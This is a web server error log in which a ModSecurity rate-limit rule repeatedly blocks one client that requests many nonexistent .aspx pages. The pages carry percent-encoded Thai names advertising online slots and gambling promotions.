[Thu Jan 29 19:57:21.478823 2026] [:error] [pid 20486:tid 20499] [client 54.36.60.45:52872] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXtLIXgqSZb6GBx5nnPvvgAAAQo"]
[Thu Jan 29 19:57:23.400807 2026] [:error] [pid 19070:tid 19109] [client 54.36.60.45:52884] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C.aspx"] [unique_id "aXtLI7ou83lIon_aKgbezQAAAEM"]
[Thu Jan 29 19:57:25.316683 2026] [:error] [pid 20580:tid 20691] [client 54.36.60.45:36648] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87777.aspx"] [unique_id "aXtLJZCZ5HHdXPmeL58lNwAAApc"]
[Thu Jan 29 19:57:27.374511 2026] [:error] [pid 19069:tid 19096] [client 54.36.60.45:36664] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9C%E0%B8%A5%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%20%E0%B9%84%E0%B8%97%E0%B8%A2%20thscore.aspx"] [unique_id "aXtLJ_DHsRM4BJ9a4QtRpQAAABI"]
[Thu Jan 29 19:57:29.416535 2026] [:error] [pid 19069:tid 19080] [client 54.36.60.45:36678] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2020%20%E0%B8%97%E0%B8%B3%20100%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%2050.aspx"] [unique_id "aXtLKfDHsRM4BJ9a4QtRrgAAAAI"]
[Thu Jan 29 19:57:31.433035 2026] [:error] [pid 19069:tid 19088] [client 54.36.60.45:36682] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtLK_DHsRM4BJ9a4QtRwQAAAAo"]
[Thu Jan 29 19:57:33.463901 2026] [:error] [pid 19070:tid 19111] [client 54.36.60.45:36696] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%202020.aspx"] [unique_id "aXtLLbou83lIon_aKgbe1QAAAEU"]
[Thu Jan 29 19:57:35.484672 2026] [:error] [pid 20486:tid 20502] [client 54.36.60.45:60812] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXtLL3gqSZb6GBx5nnPvyQAAAQ0"]
[Thu Jan 29 19:57:37.528585 2026] [:error] [pid 19069:tid 19083] [client 54.36.60.45:60818] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%20otp%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtLMfDHsRM4BJ9a4QtRzwAAAAU"]
[Thu Jan 29 19:57:39.608658 2026] [:error] [pid 19069:tid 19081] [client 54.36.60.45:60832] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXtLM_DHsRM4BJ9a4QtR1AAAAAM"]
[Thu Jan 29 19:57:41.521401 2026] [:error] [pid 19071:tid 19143] [client 54.36.60.45:60838] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%20%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtLNZfa8Ix5wWmtmJyAZAAAAIo"]
[Thu Jan 29 19:59:07.828848 2026] [:error] [pid 19070:tid 19129] [client 54.36.60.45:45100] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXtLi7ou83lIon_aKgbfLwAAAFc"]
[Thu Jan 29 19:59:09.812822 2026] [:error] [pid 19177:tid 19191] [client 54.36.60.45:60084] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20g2g.aspx"] [unique_id "aXtLjXipGz0PT8TrQv6JrgAAAMw"]
[Thu Jan 29 19:59:11.840745 2026] [:error] [pid 20580:tid 20690] [client 54.36.60.45:60088] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXtLj5CZ5HHdXPmeL58lvAAAApY"]
[Thu Jan 29 19:59:13.871507 2026] [:error] [pid 20579:tid 20643] [client 54.36.60.45:60102] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%202024.aspx"] [unique_id "aXtLkTVXNopcNyjJc9UT3QAAAkI"]
[Thu Jan 29 19:59:15.875356 2026] [:error] [pid 19177:tid 19184] [client 54.36.60.45:44564] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81.aspx"] [unique_id "aXtLk3ipGz0PT8TrQv6JtAAAAMU"]
[Thu Jan 29 19:59:17.904645 2026] [:error] [pid 20576:tid 20600] [client 54.36.60.45:44566] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20100.aspx"] [unique_id "aXtLlSrDZws_FlQGi9dp8gAAAc4"]
[Thu Jan 29 19:59:19.923657 2026] [:error] [pid 19070:tid 19129] [client 54.36.60.45:44580] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXtLl7ou83lIon_aKgbfOgAAAFc"]
[Thu Jan 29 19:59:21.942021 2026] [:error] [pid 20578:tid 20630] [client 54.36.60.45:44592] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx"] [unique_id "aXtLmQ6UX7yOMwQFiycr2AAAAhE"]
[Thu Jan 29 19:59:23.951016 2026] [:error] [pid 20580:tid 20672] [client 54.36.60.45:56422] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtLm5CZ5HHdXPmeL58lzwAAAoQ"]
[Thu Jan 29 19:59:25.951337 2026] [:error] [pid 20579:tid 20666] [client 54.36.60.45:56426] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXtLnTVXNopcNyjJc9UT4wAAAlc"]
[Thu Jan 29 19:59:27.953631 2026] [:error] [pid 20519:tid 20554] [client 54.36.60.45:56434] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXtLnwo4s4fyROrkyRnboQAAAYY"]
[Thu Jan 29 19:59:29.965348 2026] [:error] [pid 19177:tid 19181] [client 54.36.60.45:56442] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXtLoXipGz0PT8TrQv6JvgAAAMI"]
[Thu Jan 29 19:59:31.966686 2026] [:error] [pid 19071:tid 19136] [client 54.36.60.45:56454] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXtLo5fa8Ix5wWmtmJyAtwAAAIM"]
[Thu Jan 29 19:59:33.979073 2026] [:error] [pid 20519:tid 20549] [client 54.36.60.45:60536] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXtLpQo4s4fyROrkyRnbpgAAAYE"]
[Thu Jan 29 19:59:35.989296 2026] [:error] [pid 20580:tid 20667] [client 54.36.60.45:60542] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2888.aspx"] [unique_id "aXtLp5CZ5HHdXPmeL58l4gAAAoE"]
[Thu Jan 29 19:59:37.994736 2026] [:error] [pid 20580:tid 20678] [client 54.36.60.45:60544] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtLqZCZ5HHdXPmeL58l5QAAAoo"]
[Thu Jan 29 19:59:40.011071 2026] [:error] [pid 20579:tid 20650] [client 54.36.60.45:60556] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95.aspx"] [unique_id "aXtLrDVXNopcNyjJc9UT7QAAAkk"]
[Thu Jan 29 19:59:42.018576 2026] [:error] [pid 19177:tid 19201] [client 54.36.60.45:60562] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%9A%E0%B8%B2%E0%B8%97%20%E0%B9%81%E0%B8%84%E0%B9%88%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3.aspx"] [unique_id "aXtLrnipGz0PT8TrQv6JwwAAANY"]
[Thu Jan 29 19:59:44.022825 2026] [:error] [pid 19070:tid 19118] [client 54.36.60.45:57620] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXtLsLou83lIon_aKgbfUgAAAEw"]
[Thu Jan 29 19:59:46.024808 2026] [:error] [pid 20580:tid 20678] [client 54.36.60.45:57636] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20168.aspx"] [unique_id "aXtLspCZ5HHdXPmeL58l8wAAAoo"]
[Thu Jan 29 19:59:48.028341 2026] [:error] [pid 20486:tid 20504] [client 54.36.60.45:57638] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95168%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtLtHgqSZb6GBx5nnPwNgAAAQ8"]
[Thu Jan 29 19:59:50.027358 2026] [:error] [pid 19069:tid 19100] [client 54.36.60.45:57648] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95369.aspx"] [unique_id "aXtLtvDHsRM4BJ9a4QtSpwAAABY"]
[Thu Jan 29 19:59:52.026849 2026] [:error] [pid 19070:tid 19110] [client 54.36.60.45:57650] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95555.aspx"] [unique_id "aXtLuLou83lIon_aKgbfXAAAAEQ"]
[Thu Jan 29 19:59:54.040102 2026] [:error] [pid 19070:tid 19108] [client 54.36.60.45:36346] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95678.aspx"] [unique_id "aXtLurou83lIon_aKgbfYQAAAEI"]
[Thu Jan 29 19:59:56.048396 2026] [:error] [pid 20576:tid 20590] [client 54.36.60.45:36348] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95777%20pg.aspx"] [unique_id "aXtLvCrDZws_FlQGi9dqDQAAAcQ"]
[Thu Jan 29 19:59:58.049231 2026] [:error] [pid 19177:tid 19194] [client 54.36.60.45:36350] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95789.aspx"] [unique_id "aXtLvnipGz0PT8TrQv6J1AAAAM8"]
[Thu Jan 29 20:00:00.068739 2026] [:error] [pid 20580:tid 20673] [client 54.36.60.45:36354] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9588.aspx"] [unique_id "aXtLwJCZ5HHdXPmeL58mAgAAAoU"]
